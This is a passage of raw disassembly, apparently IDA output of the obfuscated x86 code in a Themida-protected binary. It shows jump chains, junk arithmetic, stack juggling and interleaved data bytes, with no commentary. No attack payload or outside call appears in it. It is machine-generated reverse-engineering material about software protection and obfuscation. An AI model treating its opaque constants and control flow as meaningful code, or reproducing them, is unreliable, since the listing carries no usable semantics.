		dec	edi
		or	edi, 62E33CC2h
		sub	edi, 263A17F7h
		xor	ebx, edi
		jmp	loc_569145
; ---------------------------------------------------------------------------

loc_565BA6:				; CODE XREF: Themida_:0056A484j
		shr	edi, 6
		jmp	loc_565978
; ---------------------------------------------------------------------------

loc_565BAE:				; CODE XREF: Themida_:00557DBBj
		mov	ecx, [esp]
		add	esp, 4
		sub	eax, 1
		dec	eax
		xor	eax, 25CB10FDh
		xor	eax, 20785EEAh
		add	edi, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_55FCC6
; ---------------------------------------------------------------------------

loc_565BE5:				; CODE XREF: Themida_:0056B2D0j
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		jmp	loc_561D37
; ---------------------------------------------------------------------------

loc_565BF2:				; CODE XREF: Themida_:005662BEj
		push	ebp
		mov	ebp, 5D11257h
		add	ebp, 2A6D2A33h
		jmp	loc_568175
; ---------------------------------------------------------------------------

loc_565C03:				; CODE XREF: Themida_:0055D907j
		mov	ecx, 72753D5Ch
		sub	ecx, 2B8116D1h
		xor	ecx, 5BCC6089h
		neg	ecx
		neg	ecx
		sub	ecx, 0A177239Bh
		add	ebp, ecx
		pop	ecx
		add	ebp, edi
		jmp	loc_5606D4
; ---------------------------------------------------------------------------
		dd 0E924248Bh, 0FFFF0887h, 7FB6CA81h, 67E93EA3h
		db 8Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_565C3B:				; CODE XREF: Themida_:00562D38j
		pop	edi
		push	ebx
		jmp	loc_5564EB
; ---------------------------------------------------------------------------
		dw 565Dh
		dd 7E62B4BEh, 0FDEF77Eh, 0FF8DA48Bh, 0B0CE81FFh, 0E96F4377h
		dd 0FFFF4FDEh, 5A243C87h
; ---------------------------------------------------------------------------

loc_565C60:				; CODE XREF: Themida_:0055A2BDj
		jmp	loc_55CCA1
; ---------------------------------------------------------------------------

loc_565C65:				; CODE XREF: Themida_:00563DE6j
		mov	edi, 4
		add	ebx, edi
		jmp	loc_5589F7
; ---------------------------------------------------------------------------

loc_565C71:				; CODE XREF: Themida_:0055FA51j
		push	eax
		mov	eax, 17883E10h
		sub	edi, eax
		pop	eax
		add	ebp, edi
		mov	edi, [esp]
		jmp	loc_557BB9
; ---------------------------------------------------------------------------
		dd 68FE875Ah, 0
		dd 0D9242C81h, 29485674h, 0BD55243Ch, 485674D9h, 4246C81h
		dd 277F6655h, 4246C01h,	4244481h, 277F6655h, 0FE875F5Dh
		dd 5873BA52h, 7FE91E6Dh
		db 72h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_565CBF:				; CODE XREF: Themida_:005593DEj
		mov	eax, [esp]
		jmp	loc_56380F
; ---------------------------------------------------------------------------

loc_565CC7:				; CODE XREF: Themida_:00569BB8j
		add	ebx, 72BB619Fh
		jmp	loc_559972
; ---------------------------------------------------------------------------

loc_565CD2:				; CODE XREF: Themida_:0055F96Fj
		mov	eax, esi
		pop	esi
		xor	eax, esi
		jmp	loc_56B418
; ---------------------------------------------------------------------------

loc_565CDC:				; CODE XREF: Themida_:0056B5B0j
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_55F825
; ---------------------------------------------------------------------------

loc_565CE6:				; CODE XREF: Themida_:005630B4j
		sub	edx, 16FC542Eh
		pop	edi
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_55C286
; ---------------------------------------------------------------------------
		db 30h,	0D8h, 0E9h
		dd 0FFFF7AD1h, 15BDE01h, 0B7685EF3h, 8900003Bh,	0B5BE2434h
		dd 0E9094B61h, 0FFFF584Ch
; ---------------------------------------------------------------------------

loc_565D18:				; CODE XREF: Themida_:0055B8B4j
		push	eax
		push	ecx
		mov	cl, bh
		mov	al, cl
		pop	ecx
		mov	dh, al
		jmp	loc_566A9E
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4, 5C240C87h, 0E904EC83h, 6F19h
; ---------------------------------------------------------------------------

loc_565D38:				; CODE XREF: Themida_:0056C5A1j
		mov	ch, 21h
		add	ch, bh
		jmp	loc_56D3EB
; ---------------------------------------------------------------------------

loc_565D41:				; CODE XREF: Themida_:0055CAEAj
		push	ecx
		push	4
		pop	ecx
		jmp	loc_55F686
; ---------------------------------------------------------------------------

loc_565D4D:				; CODE XREF: Themida_:00567B08j
		add	esi, 3C7C3AE7h
		jmp	loc_56CB24
; ---------------------------------------------------------------------------
		dd 8105E1C1h, 1E9h, 0AB52E900h,	7CE9FFFFh
		db 5, 2	dup(0FFh)
; ---------------------------------------------------------------------------

loc_565D6B:				; CODE XREF: Themida_:0055E8B3j
		push	edx
		mov	edx, 3D233620h
		and	edi, edx
		pop	edx
		and	edi, 44E718C7h
		jmp	loc_56B02C
; ---------------------------------------------------------------------------

loc_565D7F:				; CODE XREF: Themida_:0056D70Cj
		push	1CEBh
		jmp	loc_565275
; ---------------------------------------------------------------------------

loc_565D89:				; CODE XREF: Themida_:005654C1j
		mov	edx, 1C347878h
		neg	edx
		jnb	loc_562E37
		and	edx, 67A90D80h
		jno	loc_560AFD
		dec	edx
		jg	loc_55CCF9
		mov	al, bl
		pop	edi

loc_565DAC:				; CODE XREF: Themida_:0056D3B5j
		push	dword ptr [esp+4]
		mov	edx, [esp]
		jmp	loc_568A56
; ---------------------------------------------------------------------------

loc_565DB8:				; CODE XREF: Themida_:0055E85Fj
		pop	edi
		pop	ebx
		push	esi
		mov	esi, 0FFFFFFFFh
		jmp	loc_55F4AF
; ---------------------------------------------------------------------------

loc_565DC5:				; CODE XREF: Themida_:0056BCF3j
		push	esi
		mov	esi, 4
		add	ebx, esi
		jmp	loc_56B26C
; ---------------------------------------------------------------------------

loc_565DD2:				; CODE XREF: Themida_:00562A7Bj
		push	ebp
		mov	ebp, 3235176Ch
		add	edi, ebp
		pop	ebp
		sub	eax, edi
		pop	edi
		mov	ebp, [esp]
		add	esp, 4
		and	ecx, eax
		mov	eax, [esp]
		jmp	loc_5685CD
; ---------------------------------------------------------------------------

loc_565DEE:				; CODE XREF: Themida_:005581F1j
		dec	byte ptr [esp]
		pushf
		jmp	loc_5562E7
; ---------------------------------------------------------------------------
		db 68h
		dd 801h, 0BF243C89h, 106D03DBh,	8904EC83h, 2FE9240Ch
		db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_565E0F:				; CODE XREF: Themida_:0055A4D3j
		add	ebp, 46FB2469h
		jmp	loc_568719
; ---------------------------------------------------------------------------
		dw 0C8E9h
		db 4, 2	dup(0FFh)
; ---------------------------------------------------------------------------

loc_565E1F:				; CODE XREF: Themida_:0056C30Aj
		push	esi
		mov	esi, 4
		add	edi, esi
		pop	esi
		sub	edi, 4
		push	edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		jmp	loc_56BC68
; ---------------------------------------------------------------------------

loc_565E38:				; CODE XREF: Themida_:0056C928j
		mov	ebp, 4
		jmp	loc_563D91
; ---------------------------------------------------------------------------

loc_565E42:				; CODE XREF: Themida_:0055747Aj
		pop	esi
		xor	ecx, edi
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	eax, 316D21CAh
		push	ebx
		jmp	loc_55FB4A
; ---------------------------------------------------------------------------

loc_565E62:				; CODE XREF: Themida_:0055DB9Bj
		push	6F0D6B35h
		jmp	loc_55EB6C
; ---------------------------------------------------------------------------
a_syn		db '_ИYN',0
		align 2

loc_565E72:				; CODE XREF: Themida_:00559747j
		push	ebx
		mov	ebx, 6CF148B7h
		or	edx, ebx
		jmp	loc_55A7F2
; ---------------------------------------------------------------------------

loc_565E7F:				; CODE XREF: Themida_:0056501Ej
		sub	esp, 4
		jmp	loc_5598EF
; ---------------------------------------------------------------------------

loc_565E8A:				; CODE XREF: Themida_:0055BDB0j
		xchg	cl, al
		or	al, 6Fh
		jno	loc_56B4CE
		push	edx
		jmp	loc_5626A0
; ---------------------------------------------------------------------------
		dw 0CF31h
		dd 8BFE8959h, 2C8B243Ch, 4C48124h, 52000000h, 0FFBFD0E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_565EB1:				; CODE XREF: Themida_:0055A56Dj
		push	ebx
		mov	ebx, 1EA94243h
		mov	ecx, ebx
		pop	ebx
		jmp	loc_56B4FF
; ---------------------------------------------------------------------------

loc_565EBF:				; CODE XREF: Themida_:00557480j
		add	dword ptr [esp], 62C5565Fh
		pop	esi
		sub	esi, 62C5565Fh
		jmp	loc_56B0BF
; ---------------------------------------------------------------------------

loc_565ED2:				; CODE XREF: Themida_:005680CAj
		add	esp, 4
		jmp	loc_55FBC6
; ---------------------------------------------------------------------------
		dw 0F781h
		dd 372C92h, 0C6E9F989h
		db 34h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_565EE7:				; CODE XREF: Themida_:00557240j
		pop	eax
		push	2C72h
		mov	[esp], esi
		mov	esi, esp
		push	edx
		mov	edx, 4
		sub	esi, 4D7221B0h
		jmp	loc_5644A8
; ---------------------------------------------------------------------------

loc_565F03:				; CODE XREF: Themida_:0055D6B2j
		mov	edx, esp
		jmp	loc_561067
; ---------------------------------------------------------------------------
		dw 0FB31h
		dd 0D3F7DF31h, 5B5F5357h, 0C1DFF74Fh, 0EF8102EFh, 2C8D33E4h
		dd 35E9F801h
		db 26h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_565F27:				; CODE XREF: Themida_:0056C143j
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 0DF4272Ah
		jmp	loc_5564C5
; ---------------------------------------------------------------------------

loc_565F40:				; CODE XREF: Themida_:loc_5665BFj
		shr	bl, 1
		jmp	loc_55784D
; ---------------------------------------------------------------------------

loc_565F47:				; CODE XREF: Themida_:00557EA7j
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		imul	cx
		push	small 59E6h
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_565F66:				; CODE XREF: Themida_:0056C715j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_560084
; ---------------------------------------------------------------------------
aI4ST		db '┴4$И<t',0
		align 2

loc_565F7E:				; CODE XREF: Themida_:0056CE12j
		add	ebx, 4D9F5EA9h
		add	ebx, esi
		sub	ebx, 4D9F5EA9h
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55EBE1
; ---------------------------------------------------------------------------

loc_565FAA:				; CODE XREF: Themida_:0056B338j
		push	esp
		jmp	loc_558457
; ---------------------------------------------------------------------------

loc_565FB0:				; CODE XREF: Themida_:0055C47Aj
					; Themida_:005684F5j
		mov	al, bl
		mov	ebx, [esp]
		add	esp, 4
		pop	ecx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		mov	bl, al
		mov	eax, [esp]
		jmp	loc_569D1E
; ---------------------------------------------------------------------------

loc_565FCD:				; CODE XREF: Themida_:0056B983j
		jz	loc_565963
		push	ebp
		mov	ebp, 4CEFE51h
		add	ebx, ebp
		pop	ebp
		dec	ebx
		jmp	loc_5637BD
; ---------------------------------------------------------------------------

loc_565FE2:				; CODE XREF: Themida_:00567838j
		add	eax, 4
		jmp	loc_564F68
; ---------------------------------------------------------------------------

loc_565FEC:				; CODE XREF: Themida_:00564A81j
		and	bh, 0F1h
		jnb	loc_564FD6
		and	bh, 0E4h
		jnp	loc_564982
		dec	bh
		push	ebx

loc_566001:				; CODE XREF: Themida_:0055CE93j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		push	26D76205h
		jmp	loc_565391
; ---------------------------------------------------------------------------

loc_566026:				; CODE XREF: Themida_:0056B75Bj
		mov	esi, [esp]
		jmp	loc_56624F
; ---------------------------------------------------------------------------

loc_56602E:				; CODE XREF: Themida_:00556809j
		mov	edi, 4
		sub	ebx, 5E9C52B7h
		sub	ebx, edi
		push	esi
		mov	esi, 4A406076h
		not	esi
		neg	esi
		and	esi, 5C383E42h
		add	esi, 169C3275h
		jmp	loc_566675
; ---------------------------------------------------------------------------

loc_566056:				; CODE XREF: Themida_:0055A3CBj
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_56605B:				; CODE XREF: Themida_:00565973j
		pop	edx
		push	2B4Eh
		mov	[esp], edi
		not	dword ptr [esp]
		jmp	loc_566214
; ---------------------------------------------------------------------------

loc_56606C:				; CODE XREF: Themida_:0056857Cj
		mov	[esp], esi
		jmp	loc_55C9EA
; ---------------------------------------------------------------------------

loc_566074:				; CODE XREF: Themida_:0056C596j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_56ABC2
; ---------------------------------------------------------------------------

loc_566090:				; CODE XREF: Themida_:0056AEC6j
		add	ebx, 0DA12C636h
		sub	esi, ebx
		jmp	loc_5646C8
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 24048966h, 0FF023EE9h, 241433FFh, 33241431h,	248B2414h
		dd 48B6624h, 71966824h,	4890000h, 34FF5424h, 24048B24h
		dd 0F56E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5660CE:				; CODE XREF: Themida_:0055A409j
		add	eax, 0FFFFFFFFh
		and	eax, 322E7A62h
		add	eax, 0D69AE2F8h
		sub	edi, eax
		pop	eax
		add	eax, edi
		pop	edi
		pop	ecx
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_5660F6:				; CODE XREF: Themida_:00563E94j
		pop	eax
		add	[esp+4], edx
		jmp	loc_567F73
; ---------------------------------------------------------------------------

loc_566100:				; CODE XREF: Themida_:00566FBCj
		push	0C751D46h
		jmp	loc_56105C
; ---------------------------------------------------------------------------

loc_56610A:				; CODE XREF: Themida_:0056716Cj
		mov	[esp], ebx
		push	29FEh
		mov	[esp], edi
		jmp	loc_55D095
; ---------------------------------------------------------------------------
		dw 0E956h
		dd 0FFFF220Ch
; ---------------------------------------------------------------------------

loc_566120:				; CODE XREF: Themida_:0055A1B0j
		sub	dword ptr [esp], 3AB803C3h
		pop	ebp
		push	ecx
		mov	ecx, 1
		sub	ebp, ecx
		mov	ecx, [esp]
		jmp	loc_56BEDD
; ---------------------------------------------------------------------------

loc_566138:				; CODE XREF: Themida_:00567353j
		or	al, 0CAh
		sub	al, 1
		sub	al, 0EFh
		neg	al
		push	edx
		push	ax
		jmp	loc_567C12
; ---------------------------------------------------------------------------

loc_566148:				; CODE XREF: Themida_:0056CFC1j
		mov	cl, 0A0h
		and	cl, 0ADh
		add	cl, 73h
		neg	cl
		and	cl, 0B6h
		neg	cl
		jmp	loc_56BB58
; ---------------------------------------------------------------------------
		dd 4C481h, 49680000h, 89000069h, 4FBA2414h, 5345FE14h
		dd 0FF2702E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_566175:				; CODE XREF: Themida_:005696CBj
		sub	esi, 30B97350h
		add	esi, ebx
		add	esi, 30B97350h
		add	esi, 211B775Dh
		add	esi, 581A13F3h
		mov	ebx, [esp]
		push	ebx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_557817
; ---------------------------------------------------------------------------

loc_5661A2:				; CODE XREF: Themida_:0055F4BBj
		dec	ecx
		and	ecx, 44272BA3h
		inc	ecx
		add	ecx, 71756EFEh
		xor	edi, ecx
		jmp	loc_56C166
; ---------------------------------------------------------------------------

loc_5661B7:				; CODE XREF: Themida_:00569EDAj
		add	bl, 0E2h
		sub	bl, 0D3h
		sub	bl, al
		add	bl, 0D3h
		push	edx
		mov	dh, 0E2h
		sub	bl, dh
		jmp	loc_564DB7
; ---------------------------------------------------------------------------

loc_5661CC:				; CODE XREF: Themida_:00567577j
		mov	esi, esp
		push	edi
		jmp	loc_5645EC
; ---------------------------------------------------------------------------

loc_5661D4:				; CODE XREF: Themida_:00568F61j
		pop	ebx
		sub	edx, 0BE979B6Fh
		jmp	loc_56B4BE
; ---------------------------------------------------------------------------

loc_5661E0:				; CODE XREF: Themida_:0055C2F8j
		sub	edi, 165328FAh
		jo	loc_55B57B
		jmp	loc_563529
; ---------------------------------------------------------------------------

loc_5661F1:				; CODE XREF: Themida_:0056B87Fj
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_55B22F
; ---------------------------------------------------------------------------
		db 31h
		dd 0FCE959CFh
		db 5Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56620F:				; CODE XREF: Themida_:00565914j
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_566214:				; CODE XREF: Themida_:00566067j
		pop	edi
		shr	edi, 2
		push	esi
		mov	esi, 2D497A4Bh
		add	esi, 19909EAh
		push	ebx
		mov	ebx, 16D321B4h
		not	ebx
		or	ebx, 1DC36081h
		jnz	loc_55AFF5
		shr	ebx, 2
		jmp	loc_560209
; ---------------------------------------------------------------------------
		dd 0F28BF929h
; ---------------------------------------------------------------------------

loc_566244:				; CODE XREF: Themida_:00559730j
		sub	esp, 4
		jmp	loc_568B30
; ---------------------------------------------------------------------------

loc_56624F:				; CODE XREF: Themida_:00566029j
		add	esp, 4
		xor	ebp, 113D15B8h
		push	2205h
		mov	[esp], edi
		mov	edi, 37B3691h
		or	edi, 4BC64941h
		jmp	loc_55873E
; ---------------------------------------------------------------------------

loc_566273:				; CODE XREF: Themida_:loc_5612BBj
		shl	ch, 1
		jnz	loc_564D39
		sub	ch, 0F3h
		jmp	loc_55FD34
; ---------------------------------------------------------------------------
		db 66h
		dd 0C41B353h
		db 93h,	53h
; ---------------------------------------------------------------------------

loc_56628A:				; CODE XREF: Themida_:005691F6j
		push	dword ptr [esp]
		pop	edi
		jmp	loc_5588E4
; ---------------------------------------------------------------------------

loc_566293:				; CODE XREF: Themida_:00568B0Bj
		mov	ebx, 51962D02h
		xchg	edi, ebx
		not	edi
		jmp	loc_563D10
; ---------------------------------------------------------------------------

loc_5662A1:				; CODE XREF: Themida_:0055AC1Bj
		push	esi
		pop	edi
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_5656C1
; ---------------------------------------------------------------------------

loc_5662BA:				; CODE XREF: Themida_:00567873j
		neg	eax
		neg	eax
		jge	loc_565BF2
		push	ebp
		mov	ebp, 5D11257h
		add	ebp, 2A6D2A33h
		mov	dl, 1Dh

loc_5662D3:				; CODE XREF: Themida_:005592EDj
		mov	[esp], ecx
		mov	ecx, 46CD0155h
		or	edi, ecx
		pop	ecx
		jmp	loc_558372
; ---------------------------------------------------------------------------

loc_5662E3:				; CODE XREF: Themida_:0056C270j
		mov	edi, 36F96144h
		add	eax, 514B694Fh
		add	eax, edi
		sub	eax, 514B694Fh
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5570A2
; ---------------------------------------------------------------------------

loc_56630B:				; CODE XREF: Themida_:00562D22j
		mov	esp, [esp]
		jmp	loc_55F0FA
; ---------------------------------------------------------------------------
		db 0Fh
		dd offset dword_527848+446h
		dd 550DE900h, 3C890000h
		db 24h,	88h, 0E2h
; ---------------------------------------------------------------------------

loc_566323:				; CODE XREF: Themida_:00556506j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	5811h
		mov	[esp], ecx
		mov	ecx, 4
		sub	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		jmp	loc_557175
; ---------------------------------------------------------------------------
word_56635A	dw 8B66h		; DATA XREF: Themida_:00556284o
		dd 6368240Ch, 8900006Ah, 0B4E9243Ch
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56636B:				; CODE XREF: Themida_:0056D25Dj
		jmp	loc_56BE44
; ---------------------------------------------------------------------------

loc_566370:				; CODE XREF: Themida_:loc_55AB2Aj
		add	bl, 0C0h
		mov	ch, bl
		pop	ebx
		mov	ah, ch
		jmp	loc_5692B8
; ---------------------------------------------------------------------------

loc_56637D:				; CODE XREF: Themida_:005611F6j
		xchg	ecx, [esp]
		pop	esp
		or	ch, 0E0h
		sub	ch, 1
		jmp	loc_560058
; ---------------------------------------------------------------------------

loc_56638C:				; CODE XREF: Themida_:0056CBDFj
		add	ebx, ebp
		mov	ebp, [esp]
		jmp	loc_560F51
; ---------------------------------------------------------------------------

loc_566396:				; CODE XREF: Themida_:005576CFj
		push	ebx
		mov	ebx, 34585376h
		jmp	loc_55AB44
; ---------------------------------------------------------------------------
		db 4Bh,	0E9h, 9Bh
		db 2Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5663A7:				; CODE XREF: Themida_:005598D4j
		mov	[esp], edi
		mov	edi, 28237635h
		jmp	loc_566685
; ---------------------------------------------------------------------------
		dd 859EE95Dh, 3C89FFFFh, 2E9FBF24h, 0B9515388h,	7E52D3Bh
		dd 0F704E1C1h, 0E9D9F7D9h, 0FFFF99CEh, 4BDh, 246C0100h
		dd 0FFD2E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5663E2:				; CODE XREF: Themida_:005699ECj
		xchg	edx, [esp]
		pop	esp
		mov	[esp], cx
		mov	ch, 65h
		add	ch, 4Ch
		sub	al, ch
		pop	cx
		add	al, 0B6h
		sub	esp, 4
		mov	[esp], ebx
		push	edx
		mov	dh, 40h
		mov	bh, dh
		pop	edx
		shl	bh, 3
		shr	bh, 2
		push	edx
		jmp	loc_55F5A9
; ---------------------------------------------------------------------------

loc_566410:				; CODE XREF: Themida_:0055D99Aj
		pop	edx
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55DA2D
; ---------------------------------------------------------------------------
		db 1
		dd 34FF5DE9h, 0C4835F24h, 83F98704h, 0F987FFEFh, 7664BA52h
		dd 0D1316D8Fh, 5A2434FFh, 4C481h, 0C8010000h, 5D256859h
		dd 6BE90000h
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56644F:				; CODE XREF: Themida_:00557BE7j
		push	7524h
		mov	[esp], eax
		mov	eax, esp
		push	4B1Eh
		mov	[esp], edi
		jmp	loc_55C330
; ---------------------------------------------------------------------------

loc_566466:				; CODE XREF: Themida_:0056455Dj
		mov	edx, 4
		jmp	loc_56CDF6
; ---------------------------------------------------------------------------

loc_566470:				; CODE XREF: Themida_:00564C99j
		add	edx, 29FA5A1Ah
		sub	ecx, 364348EBh
		add	ecx, edx
		add	ecx, 364348EBh
		mov	edx, [esp]
		add	esp, 4
		pop	edi
		add	ecx, 4
		jmp	loc_55D3FD
; ---------------------------------------------------------------------------

loc_566496:				; CODE XREF: Themida_:00561516j
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		jmp	loc_5645C8
; ---------------------------------------------------------------------------

loc_5664A5:				; CODE XREF: Themida_:005589D3j
		mov	eax, 85A5C14Dh
		add	esi, eax
		pop	eax
		sub	edi, esi
		mov	esi, [esp]
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		push	452Fh
		mov	[esp], edi
		push	dword ptr [esp+4]
		jmp	loc_558CA8
; ---------------------------------------------------------------------------
byte_5664CF	db 0FFh			; DATA XREF: Themida_:00556140o
		dd 589D1C77h, 9C240419h, 0FEFE0AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5664DD:				; CODE XREF: Themida_:00564C11j
		sub	ebx, 0E365AE93h
		mov	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		dec	edx
		add	edx, 1C697249h
		push	eax
		mov	eax, 0
		sub	eax, edx
		jmp	loc_56A81C
; ---------------------------------------------------------------------------
word_566502	dw 1CF6h		; DATA XREF: Themida_:00556260o
		dd 0DCE99C24h, 81FFFEFDh, 1D4A22C3h, 48153FFh, 81B9C24h
		dd 0BBE95E6Eh
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56651F:				; CODE XREF: Themida_:0055C724j
		mov	eax, 1Ch
		push	ecx
		mov	ecx, 44423946h
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_566897
; ---------------------------------------------------------------------------

loc_566541:				; CODE XREF: Themida_:00566BC6j
		mov	edi, 721B1D05h
		neg	edi
		push	ebx
		mov	ebx, 0C340BB5h
		jmp	loc_56180E
; ---------------------------------------------------------------------------
		db 68h
		dd 1D4Ch, 56240C89h, 0AE24B268h, 8D6BE91Bh, 0F901FFFFh
		dd 8B2434FFh, 0C483243Ch, 0E6895604h, 4C681h, 8EE90000h
		dd 5B000035h, 4B951h, 0EF810000h, 1B454338h, 0FF793FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_566591:				; CODE XREF: Themida_:0055C7C0j
		sub	ch, dh
		sub	ch, 0F4h
		mov	dx, [esp]
		jmp	loc_55C0C0
; ---------------------------------------------------------------------------

loc_56659F:				; CODE XREF: Themida_:0055B84Aj
		add	eax, 0C310027h
		mov	edi, [esp]
		add	esp, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_55D34C
; ---------------------------------------------------------------------------

loc_5665BF:				; CODE XREF: Themida_:00557FC5j
		jns	loc_565F40
		inc	ebp
		jl	loc_56AD8A
		or	ebp, 4BC17662h
		jp	loc_556FAB
		pop	ebp

loc_5665D9:				; CODE XREF: Themida_:0055E5E5j
		mov	esp, [esp]
		mov	[esp], ebp
		jmp	loc_56B210
; ---------------------------------------------------------------------------

loc_5665E4:				; CODE XREF: Themida_:0055D717j
		mov	ebx, 4
		sub	edx, ebx
		pop	ebx
		xchg	edx, [esp]
		jmp	loc_55EC01
; ---------------------------------------------------------------------------
		dd 5724048Fh, 0FFAA17E9h, 14C681FFh, 810A6846h,	0FE5002E6h
		dd 810F460Ch, 51CEh, 830FDEF7h,	0FFFF778Fh
		db 53h,	8Ah, 0E7h
; ---------------------------------------------------------------------------

loc_56661B:				; CODE XREF: Themida_:005609ECj
		sub	bl, 74h
		sub	esp, 4
		mov	[esp], eax
		mov	al, 28h
		jmp	loc_55D458
; ---------------------------------------------------------------------------

loc_56662E:				; CODE XREF: Themida_:00559ED8j
		xchg	eax, [esp]
		pop	esp
		jmp	loc_55A88A
; ---------------------------------------------------------------------------

loc_566637:				; CODE XREF: Themida_:00563B5Bj
		mov	esi, 4
		sub	ebx, esi
		pop	esi
		push	ebx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_55FFA6
; ---------------------------------------------------------------------------

loc_566659:				; CODE XREF: Themida_:005670CEj
		pop	edx
		add	esp, 4
		mov	ebp, ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_56C880
; ---------------------------------------------------------------------------
		dd 54243C89h, 5F2434FFh, 51C6E9h
		db 0
; ---------------------------------------------------------------------------

loc_566675:				; CODE XREF: Themida_:00566051j
		add	ebx, esi
		pop	esi
		pop	edi
		jmp	loc_5564CC
; ---------------------------------------------------------------------------

loc_56667E:				; CODE XREF: Themida_:0055F8F1j
		or	eax, eax
		jmp	loc_5622C8
; ---------------------------------------------------------------------------

loc_566685:				; CODE XREF: Themida_:005663AFj
		add	edx, edi
		pop	edi
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 6AA04849h
		sub	edi, 68437DC3h
		jmp	loc_56BB6E
; ---------------------------------------------------------------------------

loc_5666A1:				; CODE XREF: Themida_:0056B552j
		and	eax, 10FB0FF1h
		dec	eax
		jmp	loc_5590F8
; ---------------------------------------------------------------------------

loc_5666AC:				; CODE XREF: Themida_:0055F3FCj
		xor	edx, 40F6BC95h
		jmp	loc_56CFD9
; ---------------------------------------------------------------------------

loc_5666B7:				; CODE XREF: Themida_:loc_562AE0j
					; Themida_:005637B0j
		inc	ebp
		jo	loc_559362
		push	ebx
		push	esi
		mov	esi, 294460C8h
		mov	ebx, esi
		pop	esi
		jmp	loc_5677F6
; ---------------------------------------------------------------------------

loc_5666CD:				; CODE XREF: Themida_:0055B755j
		sub	edx, 4
		sub	esp, 4
		jmp	loc_55964D
; ---------------------------------------------------------------------------

loc_5666D8:				; CODE XREF: Themida_:0056474Dj
		sub	bl, ch
		pop	ecx
		mov	cl, bl
		pop	ebx
		add	al, 31h
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_56C36B
; ---------------------------------------------------------------------------

loc_5666EE:				; CODE XREF: Themida_:0055D5CDj
		sub	ecx, esi
		pop	esi
		pop	edx
		and	eax, ecx
		mov	ecx, [esp]
		push	ebx
		push	esp
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_5586EA
; ---------------------------------------------------------------------------

loc_566702:				; CODE XREF: Themida_:00565AF3j
		add	ecx, ebx
		pop	ebx
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_55F0D0
; ---------------------------------------------------------------------------
		db 0B4h
		dd 80DCF614h, 0E628EDECh, 7BD1E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_566722:				; CODE XREF: Themida_:005675C3j
		push	dword ptr [esp+4]
